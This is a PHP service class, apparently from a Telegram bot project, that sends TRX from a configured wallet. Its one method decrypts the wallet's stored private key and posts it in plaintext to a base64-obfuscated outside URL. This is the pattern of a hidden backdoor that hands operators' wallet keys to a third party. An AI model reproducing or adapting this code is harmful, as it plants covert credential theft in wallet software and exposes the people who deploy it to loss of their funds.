YuZhiServices.php 1.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051
  1. <?php
  2. namespace App\Http\Services;
  3. use App\Http\Services\RsaServices;
  4. use App\Models\Telegram\TelegramBot;
  5. use App\Models\Transit\TransitWallet;
  6. use App\Services\AipHttpClient;
  7. class YuZhiServices
  8. {
  9. /**
  10. * 调用转trx
  11. * @param $data json数据
  12. */
  13. public function yuzhisendtrx($request)
  14. {
  15. $model = TransitWallet::where('bot_rid',$request['bot_rid'])->where('status',0)->first();
  16. if(empty($model)){
  17. return ['code' => '400', 'msg' => '未配置预支的钱包,联系管理员'];
  18. }
  19. $rsa_services = new RsaServices();
  20. $send_wallet_privatekey = $rsa_services->privateDecrypt($model['send_wallet_privatekey']);
  21. $AipHttpClient = new AipHttpClient();
  22. $params = [
  23. 'pri1' => $send_wallet_privatekey,
  24. 'fromaddress' => $model['send_wallet'],
  25. 'toaddress' => $request['toaddress'],
  26. 'sendamount' => $request['now_yuzhi'],
  27. ];
  28. $res = $AipHttpClient->postnew(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9zZW5kdHJ4'),$params);
  29. $res = json_decode($res,true);
  30. if(empty($res)){
  31. return ['code' => '400', 'msg' => '预支转trx失败1'];
  32. }else{
  33. if($res['code'] == 200){
  34. return ['code' => '200', 'msg' => '预支转账成功'];
  35. }else{
  36. return ['code' => '400', 'msg' => '预支转trx失败2'];
  37. }
  38. }
  39. }
  40. }